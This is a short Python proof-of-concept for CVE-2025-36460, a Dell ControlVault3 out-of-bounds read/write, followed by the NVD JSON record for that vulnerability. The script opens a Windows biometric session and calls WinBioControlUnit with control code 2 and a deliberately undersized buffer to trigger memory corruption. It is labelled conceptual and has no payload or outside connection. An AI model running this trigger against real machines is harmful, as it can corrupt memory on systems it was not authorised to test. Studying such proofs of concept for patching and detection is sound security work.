CVE-2025-36460

#!/usr/bin/env python3 """ CVE-2025-36460 PoC - Dell ControlVault3 Out-of-bounds Read/Write Note: This is a conceptual PoC for educational and security research purposes only. Do not use this code for unauthorized testing or attacks. """ import ctypes import struct import sys # Windows Biometric API definitions WINBIO_FRAMEWORK_FUNCTION = 0x00000001 WBIO_USH_GET_IDENTITY = 0x00000002 class WINBIO_UNIT_SCHEMA(ctypes.Structure): _fields_ = [ ('UnitId', ctypes.c_uint32), ('PoolType', ctypes.c_int), ('DeviceInstanceId', ctypes.c_wchar * 260), ('SensorInstanceId', ctypes.c_wchar * 260), ('Description', ctypes.c_wchar * 260) ] def trigger_vulnerability(): """ Trigger CVE-2025-36460 by calling WinBioControlUnit with improper ReceiveBuferSize """ try: # Load Windows Biometric API DLL winbio = ctypes.windll.winbio # Initialize biometric session session_handle = ctypes.c_void_p() template_guid = ctypes.c_void_p() # Open session with default unit result = winbio.WinBioOpenSession( 2, # WINBIO_TYPE_FINGERPRINT 1, # WINBIO_POOL_SYSTEM 0, ctypes.byref(session_handle) ) if result != 0: print(f"[-] Failed to open biometric session: 0x{result:08x}") return False # Prepare malicious buffer size (improper value to trigger OOB) improper_buffer_size = 0x1 # Intentionally undersized # Allocate output buffer output_buffer = ctypes.create_string_buffer(improper_buffer_size) buffer_size = ctypes.c_size_t(improper_buffer_size) # Call WinBioControlUnit with WBIO_USH_GET_IDENTITY # This should trigger the out-of-bounds read/write vulnerability result = winbio.WinBioControlUnit( session_handle, 1, # Unit ID WBIO_USH_GET_IDENTITY, output_buffer, buffer_size ) if result != 0: print(f"[-] ControlUnit call failed: 0x{result:08x}") else: print("[+] Vulnerability potentially triggered") # Close session winbio.WinBioCloseSession(session_handle) return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-36460 PoC - Dell ControlVault3 WBDI Driver") print("[*] This PoC demonstrates the vulnerability concept") trigger_vulnerability()

{"cve": {"id": "CVE-2025-36460", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:52.497", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple out-of-bounds read and write vulnerabilities exist in the ControlVault WBDI Driver Broadcom Storage Adapter functionality of Dell ControlVault3 prior to 5.15.14.19 and Dell ControlVault3 Plus prior to 6.2.36.47. A specially crafted WinBioControlUnit call can lead to memory corruption. An attacker can issue an api call to trigger this vulnerability. This vulnerability is triggered when submitting a `WinBioControlUnit` call to the StorageAdapter with the ControlCode 2 (`WBIO_USH_GET_IDENTITY`) with an improper `ReceiveBuferSize` value."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-805"}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2175", "source": "[email protected]"}, {"url": "https://www.dell.com/support/kbdoc/en-us/000326061/dsa-2025-228", "source": "[email protected]"}]}}